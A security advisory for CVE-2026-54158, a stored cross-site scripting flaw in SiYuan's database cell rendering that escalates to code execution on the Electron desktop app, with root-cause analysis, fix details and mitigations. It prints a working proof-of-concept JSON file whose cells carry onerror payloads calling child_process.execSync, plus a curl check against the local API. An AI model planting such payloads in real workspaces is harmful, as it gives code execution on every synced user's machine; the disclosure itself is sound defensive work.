critical · 9.9CVE-2026-54158Jul 10, 2026

CVE-2026-54158: SiYuan Stored XSS to RCE via Unescaped Attribute-View Cell Rendering

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

SiYuan's database cell renderer writes attacker-controlled text, URL, phone, and asset values directly into innerHTML without escaping, letting anyone who can touch a synced workspace plant a…

Packagegithub.com/siyuan-note/siyuan/kernel
Ecosystemgo
Affected< 0.0.0-20260628153353-2d5d72223df4
Fixed in0.0.0-20260628153353-2d5d72223df4

The problem

The TypeScript function genAVValueHTML in app/src/protyle/render/av/blockAttr.ts builds HTML for attribute-view (database) cells using raw template literals. Four branches, text, url, phone, and mAsset, concatenate cell values straight into the output string.

Every call site then assigns that string to innerHTML.

The kernel write path in kernel/model/attribute_view.go stores cell values with no HTML escaping, so a malicious string persists byte-for-byte in data/storage/av/<avID>.json. Because AV files travel with normal workspace sync, one write poisons every synced peer.

On Electron desktop the renderer runs with nodeIntegration:true, contextIsolation:false, and webSecurity:false, so the XSS immediately reaches require('child_process') for full host RCE.

Proof of concept

A working proof-of-concept for CVE-2026-54158 in github.com/siyuan-note/siyuan/kernel, with the exact payload below.

json
// Minimum-viable AV JSON, written to workspace/data/storage/av/poc.json
// The "text" cell breaks out of the <textarea> tag;
// the "url" cell breaks out of the value="..." attribute.
{
  "spec": 2,
  "id": "20260519999999-poctest",
  "name": "PocAV",
  "keyValues": [
    {
      "key": {"id": "...keyblok", "name": "Block", "type": "block"},
      "values": [{
        "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
        "type": "block", "isDetached": true,
        "block": {"id": "...row1blk", "content": "Row 1"}
      }]
    },
    {
      "key": {"id": "...keytext", "name": "TextField", "type": "text"},
      "values": [{
        "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
        "type": "text",
        "text": {"content": "</textarea><img src=x onerror=\"require('child_process').execSync('open /Applications/Calculator.app')\">"}
      }]
    },
    {
      "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
      "values": [{
        "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
        "type": "url",
        "url": {"content": "\"><img src=x onerror=\"require('child_process').execSync('open /Applications/Calculator.app')\">"}
      }]
    }
  ]
}

// Verify the kernel returns content unescaped:
// curl -s -X POST http://localhost:6806/api/av/getAttributeView \
//   -H "Authorization: Token $TOKEN" \
//   -d '{"id":"20260519999999-poctest"}' | python3 -m json.tool | grep '"content":'
//
// Payload fires when victim opens the block-attribute panel on any row
// in this AV (cell click or gutter icon — normal database usage).

The text branch emits <textarea ...>${value.text?.content || ''}</textarea> with no escaping. A value of </textarea><img src=x onerror="..."> closes the textarea tag early and injects an <img> element whose onerror handler runs immediately. The url and phone branches embed content inside value="..." and href="..." attributes with no quoting escape, so "><img src=x onerror="..."> terminates the attribute and injects a second element.

escapeHtml and escapeAttr already existed in the codebase and were applied to the block, select, and mSelect branches. The fix (commit 2d5d72223df4) extends them to the four unprotected branches. The backend has no equivalent call to html.EscapeAttrVal in kernel/model/attribute_view.go, unlike the block-IAL write path at kernel/model/blockial.go:261, so existing payloads in synced workspaces are not retroactively neutralized by the backend change alone.

The fix

Upgrade to SiYuan 3.7.0 (patch commit 2d5d72223df4). The fix wraps all four unsafe branches in escapeHtml or escapeAttr calls inside genAVValueHTML. If you cannot upgrade immediately, avoid opening block-attribute panels on rows from untrusted or externally synced workspaces, and audit data/storage/av/*.json for <, >, and " characters in cell content fields.

Reporter not attributed.

References: [1][2][3]

Related research